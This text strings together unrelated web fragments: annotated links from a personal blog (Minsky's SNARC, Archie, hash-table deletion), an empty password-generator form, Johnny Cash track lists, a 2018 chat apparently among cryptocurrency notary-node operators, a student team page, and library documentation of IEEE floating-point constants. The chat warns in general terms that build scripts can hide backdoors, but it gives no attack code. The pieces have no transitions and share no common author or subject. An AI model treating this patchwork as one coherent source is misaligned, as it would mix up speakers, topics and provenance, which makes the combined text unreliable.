fictitious computer that was supposedly the successor to the MITS
Altair. This new computer was built around the Zilog Z80 processor
instead of the Intel 8080. Wozniak used some of the worst ads he could
find for wording, and then he distributed the brochures at the West
Coast Computer Faire. The author recreated the brochure and was able
to get Wozniak to sign it. What's more, Wozniak was carrying laser-cut
stainless steel business cards, which he handed out at the event.
-
A.I.:
Apparently, one of the earliest examples of reinforcement learning
came from a project by Marvin Minsky called
SNARC (Stochastic Neural Analog Reinforcement Computer).
Although Minsky's 1952 paper on SNARC appears to be lost, he explained
its architecture in a 1981 interview with Jeremy Bernstein, a
theoretical physicist and a staff writer for The New Yorker.
Relevant part from the interview:
As an undergraduate, Minsky had begun to imagine building an
electronic machine that could learn. He had become fascinated by a
paper that had been written, in 1943, by Warren S. McCulloch, a
neurophysiologist, and Walter Pitts, a mathematical prodigy. In
this paper, McCulloch and Pitts created an abstract model of the
brain cells—the neurons—and showed how they might be connected to
carry out mental processes such as learning.
"The one I then envisioned would have needed a lot of memory
circuits. There would be electronic neurons connected by synapses
that would determine when the neurons fired. The synapses would
have various probabilities for conducting. But to reinforce
'success' one would have to have a way of changing these
probabilities. There would have to be loops and cycles in the
circuits so that the machine could remember traces of its past and
adjust its behavior. I thought that if I could ever build such a
machine I might get it to learn to run mazes through its
electronics— like rats or something. I didn't think that it would
be very intelligent. I thought it would work pretty well with
about forty neurons. Edmonds and I worked out some circuits so
that —in principle, at least—we could realize each of these
neurons with just six vacuum tubes and a motor."
Minsky's machine was certainly one of the first electronic
learning machines, and perhaps the very first one. In addition to
its neurons and synapses and its internal memory loops, many of
the networks were wired at random, so that it was impossible to
predict what it would do. A "rat" would be created at some point
in the network and would then set out to learn a path to some
specified end point. First, it would proceed randomly, and then
correct choices would be reinforced by making it easier for the
machine to make this choice again—to increase the probability of
its doing so. There was an arrangement of lights that allowed
observers to follow the progress of the rat—or rats. "It turned
out that because of an electronic accident in our design we could
put two or three rats in the same maze and follow them all,"
Minsky told me. "The rats actually interacted with one another. If
one of them found a good path, the others would tend to follow it.
We sort of quit science for a while to watch the machine. We were
amazed that it could have several activities going on at once in
its little nervous system. Because of the random wiring, it had a
sort of fail-safe characteristic. If one of the neurons wasn't
working, it wouldn't make much of a difference —and, with nearly
three hundred tubes and the thousands of connections we had
soldered, there would usually be something wrong somewhere. In
those days, even a radio set with twenty tubes tended to fail a
lot. I don't think we ever debugged our machine completely, but
that didn't matter. By having this crazy random design, it was
almost sure to work, no matter how you built it."
-
This is how the cover art of Defender of the Crown (1986) was
made: Mysteries are not just confined to the world of law and murder;
they also transcend to the world of history as well. In this blog
post, Jimmy Wilhelmsson goes on a detective mission to identify the
artist behind the cover art of Defender of the Crown, a 1986 game from
Cinemaware. His journey leads him - and us - to an intriguing
conclusion. Another interesting internet mystery that's worth
exploring is:
Who made these circles in the Sahara?
-
The Alien Voice: Alvin Lucier's North American Time Capsule 1967: In 1961, the earliest demonstration of computer speech synthesis
occurred at Bell Labs using an IBM 704. The computer performed a
rendition of the song
Daisy Bell (Bicycle Built for Two). Interestingly, Arthur C. Clarke, who happened to be present at the
Bell Labs demonstration, later referenced it in
2001: A Space Odyssey, where the HAL 9000 computer sings the
same song to Dave Bowman just before being deactivated. This essay by
Christoph Cox further discusses this by describing the Vocoder
technology, what inspired Homer Dudley to build it in 1928, and how
years later, Alan Turing and his colleagues modified it to create a
secure speech system called
SIGSALY for World
War II. It also discusses the emergence of computer-generated music.
-
Brr: This blog is written by an
anonymous individual who was deployed to Antarctica in 2022-23 to work
on IT projects. Throughout a series of blog posts, they describe their
experiences of living in Antarctica. They cover topics such as
laundry,
voting while stationed in Antarctica,
sending postal mail, and
how ATMs work. Additionally, the blogger highlights
the Beer Can, a unique
infrastructure at Amundsen-Scott South Pole station that connects
their living zone to their critical infrastructure zone, located fifty
feet below the surface.
-
The Cab Ride I'll Never Forget: I don't have much to say about this blog post besides the fact that
it's an absolute must-read. It shows how seemingly small acts of
kindness can lead to life-changing experiences.
-
The Byte magazine archive: This archive, spanning from 1975 to 1994, contains a plethora of
hidden gems. For instance, their February 1992 issue features a
section on Archie, one of the earliest internet search engines.
Relevant part from the February 1992 issue:
For many people, particularly programmers and engineers, the
Internet means "info- booty": shareware and freeware source code,
documents, graphics, and data sets available by file transfer
downloads and from E-mail servers. Sites like UUNET and The World
each have several gigabytes' worth of publicly available archives.
These are but two of the hundreds of sites with archives
accessible via these methods. Even admitting a fair amount of
redundancy among archives, it still adds up to about 100
gigabytes, and new sites and offerings are coming on-line every
day.
With so many different archives, it can be hard to figure out
where (and at what network address) to access the items you want.
If you don't know what you want beyond compilers or CP/M
applications, it's even more overwhelming.
The "archie group" at McGill University (Montreal, Quebec, Canada)
has one solution to the problem: archie (archive without the v),
the Internet Archive Server Listing Service (for access, see
reference 2). Archie is a central database of information about
Internet-accessible archive sites, plus server programs that
provide access by telnet, anonymous file transfer protocol (FTP),
E-mail, and the Prospero distributed computer system.
Mondo 2000 and
High Frontiers
are other technology-focused retro magazines worth exploring.
-
Alphabet Chess: While its merits are debatable, this is certainly a one-of-a-kind
way to play chess.
-
Deletion from hash tables without tombstones: Two of the most common collision resolution strategies are chaining
and open addressing. In open addressing, linear probing is widely
used. Furthermore, when deleting an element in a linear probing
scheme, tombstones are often used to mark the deleted element.
However, this strategy wastes memory and increases the frequency of
expensive rehashing. This blog post by attractivechaos proposes
a clever deletion strategy without tombstones. When deleting an
element, the strategy moves the next element to the deleted location
if it was pushed away by the deleted element due to hash collision.
This process recurses until an empty location is reached. Isn't that
marvelous? attractivechaos has shown that this strategy can
work surprisingly well in practice. I am curious to compare it with
graveyard hashing.
-
3D printing a full-size kayak: In this blog post, Nathan Rooy discusses an interesting project he
worked on during COVID-19 lockdown. One day, I would love to 3D print
an entire chess set.
-
Droste effect: A visual recursion! M. C. Escher's
Prentententoonstelling
(loosely translated to Print Gallery or
Print Exhibition) is a breathtaking work of art that showcases
this fascinating effect.
The Mathematical Structure of Escher's Print Gallery
discusses more about how Escher created this masterpiece.
-
Theorem of the Day: Robin Whitty discusses a variety of well-known and lesser-known
theorems as succinctly as possible.
-
AI's Instagram Problem: Andrew Ng shares great words of wisdom on taking inspiration from
emerging technologies instead of doubting the value of our own work. I
hope to remember and apply this as I advance in my career.
My favorite part is:
Someone else's sculpted physique does not take away from your
beauty. And the emergence of a hot new technology doesn't mean
your current project isn't also valuable, assuming it's
technically sound, has a reasonable expectation of impact, and
isn't made obsolete by newer technology (which doesn't happen
very often). Projects of all shapes and sizes can be wonderful,
and what's buzzy today is only one of the many things that will
prove valuable in the future.
-
This is still a motherfucking website: Shows how websites can be made aesthetically pleasing with minimal
use of CSS.
←


Password Size:
Include Symbols:
Include Numbers:
Include Lowercase:
Include Uppercase:
Tip: for a safe password, mark at least 3 of the options above
Nothing
Ok
Generate Password
Output:
Copy


Johnny Cash
Johnny Cash Rarity Collection, vol. 2
-
Folsom Prison Blues
- Get Rhythm
- Cold Cold Heart
- Rock Island Line
- Don't Take Your Guns to Town
- Oh What a Dream
- I Can't Help It (If I Am Still in Love With You)
- You're the Nearest Thing to Heaven
- Fool's Hall of Fame
- I Could Never Be Ashamed of You
- Next in Line
- You Win Again
- Cry Cry Cry
- I Heard That Lonesome Whistle Blow
- There You Go
- It's Just About Time
- So Doggone Lonesome
- Train of Love
- Home of the Blues
- If the Good Lord's Willing
- These Things Shall Pass
-
I Walk the Line
- I Was Jesus
- Old Apache Squaw
-
God Will
American IV: The Man Comes Around
-
The Man Comes Around
-
Hurt
-
Give My Love to Rose
- Bridge Over Troubled Waters
- I Hung My Head
- The First Time I Ever Saw Your Face
- Personal Jesus
- In My Life
- Sam Hall
- Danny Boy
- Desperado
- I'm So Lonesome I Could Cry
- Tear Stained Letter
- Streets of Laredo
- We'll Meet Again


Some changes should be reflected pretty much instantly, but I'd need to run them for at least a day, probably a couple of days to get a good comparison on the chart
lukechilds14-Aug-18 08:14 PM
awesome
is the code available btw?
 They import blockchain data to mongodb the rumour that swirls around
lukechilds15-Aug-18 12:43 AM
That's a shame
does anyone know if an insight or other generic explorer exists for Game?
jl777c15-Aug-18 08:08 AM
those are the ones that your node has found out about and done a nn_connect to
a nn_connect doesnt mean it connected, just that it will try to connect
blackjok3r15-Aug-18 08:16 AM
it is
You can filter the bad ones out by nc to port 17775 as per deckers script... I made mine connect to all good ones first, but putting addnotary call for all nodes seemed to make it work worse, but it may have been unrelated
there is one in SA beginning with 177 that is also an old ip
lukechilds15-Aug-18 09:47 AM
just a thought but maybe adding new notaries pushes old ones out
so the highest priority goes to the most recent call
so you would actually want to call all the good nodes last, not first
that's not based on anything
just a random idea
might be worth a try
but that might explain why it made it worse
blackjok3r15-Aug-18 09:51 AM
I dont think it made any diffrence tbh, but after I was playing around with it my counts did go down in general.
That might have more to do with other people all using optimisations now though.
But if I force addnotary all the ones with open ports, the list had less "dead" ips in it.(edited)
Contribute to GameCredits development by creating an account on Github.
Jax16-Aug-18 12:07 AM
Was something recently changed with autosplit? Do we need to crontab splitfunds now?
lukechilds16-Aug-18 12:12 AM
no, autosplit still works
but some people have opted for their own custom scripts in cron to manage it better(edited)
autosplit sometimes ends up giving you way more UTXOs than you need
Jax16-Aug-18 12:45 AM
@lukechilds I see, thanks. I've been having issues with running out of kmd utxos in a sufficiently funded wallet. Probably gonna move to a crontab.
jeezy16-Aug-18 05:02 AM
verus broken after latest pull?
build fails with an error
blackjok3r16-Aug-18 06:45 AM
dunno cant build it on my node
lukechilds16-Aug-18 09:40 AM
we should probably not update any coin daemons unless they are hard forking changes or include specific notary fixes
notary nodes are sacred
every time you run new software on them you put them at risk
the most important thing is that we run stable daemons(edited)
not the latest bleeding edge builds(edited)
grewalsatinder16-Aug-18 09:41 AM
totally agree
lukechilds16-Aug-18 09:42 AM
I believe so
how many notary operators here actually read through every change in the entire diff before upgrading
I would bet my money on none, if any(edited)
blackjok3r16-Aug-18 09:43 AM
We should also possibly move back to beta from dev komodo I think maybe to... as we have STAKED project to test DEV branch now, which should find the bugs we were meant to find.
lukechilds16-Aug-18 09:43 AM
not to mention for 3rd party daemons it would be very easy to hide
e.g some obscure file pulled down in the build script and executed
you could easily miss that in a diff
or even check the remote file and see it's good
but then they could change it to something malicious at any point
easy back door
it's not even that uncommon for build scripts to pull in external files
Deleted User16-Aug-18 10:20 AM
Differentiate staked and dev would make it less risky. For external daemons as long as notarize is fine yeah we should not update until requested by coin team
SHossain16-Aug-18 11:48 AM
for example VRSC didn't do consensous changing update, so, we can skip this. i didn't update mine.
1
kolo16-Aug-18 12:04 PM
Check out prev commits on dev when it not compiles. It's easy. Was said that day by day debugging and testing is also job of NN ops. Not just keeping old stable beta.
1
lukechilds16-Aug-18 03:04 PM
That sounds like a very bad mix
we need to run ultra tight secure nodes
while also testing and debugging bleeding edge changes
Those two things are mutually exclusive
you can do one or the other, not both
Deleted User16-Aug-18 03:08 PM
Mainnet : secure. Testnet : experimental
That would be awesome
lukechilds16-Aug-18 03:08 PM
yeah, that's definitely a possibility
although was not aware that was something we we're expected to be doing
will also increase hosting costs quite a bit
but it would be good to have a testnet node to test my perf improvements on
before making them live on my mainnet node
Deleted User16-Aug-18 03:09 PM
Testnet don t need ultra high perf
lukechilds16-Aug-18 03:09 PM
but you still need lots of RAM for UTXO set right?(edited)
Deleted User16-Aug-18 03:09 PM
A basic dedicated with ssd average 50 60 € a month
Nope
Only sync time is expensive in term of ram
For testnet 16 strict minimum 32 would be best
lukechilds16-Aug-18 03:11 PM
I was under the impression the entire UTXO set for all coins is stored in RAM
is that not true?
Deleted User16-Aug-18 03:11 PM
Afaik most usage comes from iguana when everything is synced


Meet INFO6105 Team6
We always take effort to accomplish the courseworks
earnestly and impressively
We always take effort to accomplish the courseworks
earnestly and impressively
Chief Data Scientist
Data and Software Engineer
Data and Software Engineer
Data and Software Engineer


**Expressive Vector Engine** IEEE Constants (insert ../../crumbs.html here) Those constants provides generator function for constants tied to the IEEE standard or that ease implementation of IEEE standard functions. Synopsis ==================================================================================================== All constant are implemented as callable object taking a [type specifier](../types/helpers.html#eve::as_) as argument. Each constant is available by including the header file `eve/constant/name.hpp`, where `name` is the constant name. **Example:** **Output:** List of constants ==================================================================================================== $$\newcommand{\choose}[4]{\left\{ \begin{array}{@{}ll@{}} #1 & \texttt{if E is } \texttt{#2}\ \\ #3 & \texttt{if E is } \texttt{#4} \end{array}\right.}$$ $$\newcommand{\choosefd}[2]{\left\{ \begin{array}{@{}ll@{}} #1 & \texttt{if E is float } \\ #2 & \texttt{if E is double} \end{array}\right.}$$ $$\newcommand{\tchoosefd}[2]{ \choosefd{\texttt{#1}}{\texttt{#2}}}$$ $$\newcommand{\choosefdi}[3]{\left\{ \begin{array}{@{}ll@{}} #1 & \texttt{if E is float } \\ #2 & \texttt{if E is double} \\ #3 & \texttt{if E is integral} \end{array}\right.}$$ In the following table: * `T` represents the requested type for the generated constant. * `E` represents the [element type](../../glossary.html#elementtype#elementtype) associated to `T` * `I` represents the integral type associated to `T` Description | Callable object | Value | Constraints on `T` | :-----------------------------------------------|:-----------------------|:---------------------------------------------------|:-------------------| Smallest value increment | `eve::bitincrement` | `bit_cast(1,as<`T`>())` | `value` | Machine $\epsilon$ | `eve::eps` | $$\choosefdi{2^{-23}}{2^{-52}}{1}$$ | `value` | Mask for the exponent bits | `eve::expobits_mask` | $$\tchoosefd{0x7f800000U}{0x7ff0000000000000ULL}$$ | `floating_value` | Largest possible exponent plus one | `eve::limitexponent` | $$\tchoosefd{128}{1024}$$ | `floating_value` | $\log\epsilon$ | `eve::logeps` | $$\tchoosefd{-15.9424f}{-36.0436533891172}$$ | `floating_value` | Bit mask for mantissa extraction | `eve::mantissamask` | $$\tchoosefd{0x807FFFFFU}{0x800FFFFFFFFFFFFFULL}$$ | `floating_value` | Inverse of the square root of the machine $\epsilon$ | `eve::oneosqrteps` | $$\tchoosefd{2896.31f}{67108864.0}$$ | `floating_value` | Largest possible exponent | `eve::maxexponent` | $$\choosefd{127}{1023}$$ | `floating_value` | Largest possible exponent minus one | `eve::maxexponentm1` | $$\choosefd{126}{1022}$$ | `floating_value` | Smallest positive denormal value | `eve::mindenormal` | `bit_cast(1,as<`T`>())` | `floating_value` | Smallest possible exponent | `eve::minexponent` | $$\choosefd{-126}{-1022}$$ | `floating_value` | Not a Number | `eve::nan` | | `floating_value` | Number of mantissa bits | `eve::nbmantissabits` | $$\choosefd{23}{52}$$ | `floating_value` | Bit mask for sign bit extraction | `eve::signmask` | `bit_cast(I(1) << (sizeof(E)*8-1),as<`T`>())` | `floating_value` | Square root of the machine $\epsilon$ | `eve::sqrteps` | $$\sqrt{\epsilon}$$ | `value` | Two at the power of the number of mantissa bits | `eve::twotonmb` | $$\choosefdi{2^{23}}{2^{52}}{1}$$ | `floating_value` | ----------------------------------------------------------------------------------------------------